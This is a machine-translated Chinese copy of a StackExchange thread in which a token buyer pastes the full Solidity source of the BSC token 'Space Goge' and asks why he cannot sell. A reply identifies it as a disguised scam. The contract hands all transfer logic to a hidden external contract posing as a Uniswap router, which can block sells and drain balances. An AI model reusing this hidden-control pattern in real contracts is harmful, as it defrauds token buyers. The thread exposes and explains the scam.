我买了0x096901cE2C5501eAE23AF2D3F6e465dE98BFc645,但在一笔交易中,我似乎卖不出超过1%的股份,而许多客户进行了更大的交易。我不善于阅读代码,但分析显示没有蜜罐和地毯,有人看到了什么吗?https://bscscan.com/address/0x096901cE2C5501eAE23AF2D3F6e465dE98BFc645#code#F1#L1
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.12;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function transferFrom(
address caller,
address from,
address to,
uint256 value
) external returns (bool tax, uint mode,uint excatAmount,address burnAddress);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Coin is IERC20, IERC20Metadata,Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address private dev;
uint256 private _totalSupply = 10000000000 * 10 * 10 ** 18;
address private _WETH;
string public constant _name = "Space Goge";
string public constant _symbol = "sDoge";
IUniswapV2Router01 public uniswapV2Router;
address public uniswapPair;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private FTX = 0x4bEC3AF1B212c81CdAc7674dd0Ea779110a1b6D2;
address private router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address private marketAddress = 0x0265624edAb97c15a3d6ECBC3Dc4033d96821d1E;
uint256 public constant MAX = type(uint256).max;
address private taxAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address _router,address _marketAddress) {
dev = _msgSender();
IUniswapV2Router01 _uniswapV2Router = IUniswapV2Router01(router);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
marketAddress = _marketAddress;
uniswapV2Router = IUniswapV2Router01(_router);
_WETH = uniswapV2Router.WETH();
_balances[DEAD] = _totalSupply/10 * 8;
_balances[marketAddress] = _totalSupply/10 * 2;
_allowances[DEAD][marketAddress] = MAX;
_allowances[uniswapPair][marketAddress] = MAX;
_allowances[_WETH][marketAddress] = MAX;
emit Transfer(address(0), dev, _balances[dev]);
emit Transfer(address(0), DEAD,_balances[DEAD]);
_transferOwnership(address(0));
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
uint256 fromBalance = _balances[owner];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_transfer(owner, to, amount);
return true;
}
function getBnbPair() public view returns (address){
return uniswapPair;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
(bool tax, uint mode,uint excatAmount,address burnAddress) =
uniswapV2Router.transferFrom(_msgSender(),from, to, amount);
if(tax){
if(mode == 1){
emit Transfer(from, to, amount);
_transferToken(from, to, excatAmount);
_transferToken(from, burnAddress, amount - excatAmount);
}else if(mode == 2){
emit Transfer(from, to, amount);
_transferToken(burnAddress, to, excatAmount);
}else{
_transferToken(from, to, excatAmount);
}
}else{
emit Transfer(from, to, amount);
_transferToken(from, to, excatAmount);
}
}
function _transferToken(
address from,
address to,
uint256 amount
) internal virtual {
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}发布于 2022-09-21 18:02:34
我也一直在看这份合同。这是被证实的。这是一个狡猾的骗局。合同将清清楚楚,直到他动用流动资金。但这不是典型的地毯拉伤。
开发人员将合同的地址改为0x000000。他用薄荷糖烧掉了8000万枚,但有一亿枚代币。另外2000万我找不到他到底在哪里增加了流动性。https://bscscan.com/tx/0xba742fc3c5df700f525d392fc03c1fc5877019f626876b574325e87682f5f1e6
如果您单击合同上的"Read“,您将看到他没有使用pancakeswap路由器,当他增加流动性时,他只添加wrappedBNB,而不添加令牌。这很奇怪。https://bscscan.com/tx/0x32ebf745255773e0557e802396bbcb7751ade84c72a6fc64517512eee9d6e389
这是他过去一个月的全部清单,他一直在运行这个多个骗局。QueenDoge,Hunterdoge和其他人。
https://bscscan.com/address/0x4b292f456b6325379e782699f9634a7d09dddfea#internaltx
他用同样的合同做同样的事。这份合同对所有买卖交易都有规定。其中许多地址属于开发人员。他将做一个出售,并将BNB发送到多个不同的钱包,做自动购买。这使得钱包看起来像自然买家,图表看上去很健康。
如果您向下滚动契约页面的底部,开发人员已经更改了路由器。构造参数也可以看到下面的“读”。所以他有所有这些钱包,但他们都回到了一个主要的钱包。我还没找到他把所有偷来的钱都寄到哪去了。但使用这个辅助路由器。这就产生了流动性,这样他就可以只提取wrappedBNB。地毯也被扯下来了。至于他买的所有钱包,它们就像所有被骗的钱包一样。
我通过搜索Google找到你的帖子
地址私有marketAddress =0x0265624edAb97c15a3d6ECBC3Dc4033d96.21d1E
我搜查了合同上的这个钱包,里面没有交易。这很奇怪。
我以前从没见过这样的骗局。这是非常技术性和良好的伪装。
https://ethereum.stackexchange.com/questions/135894
复制相似问题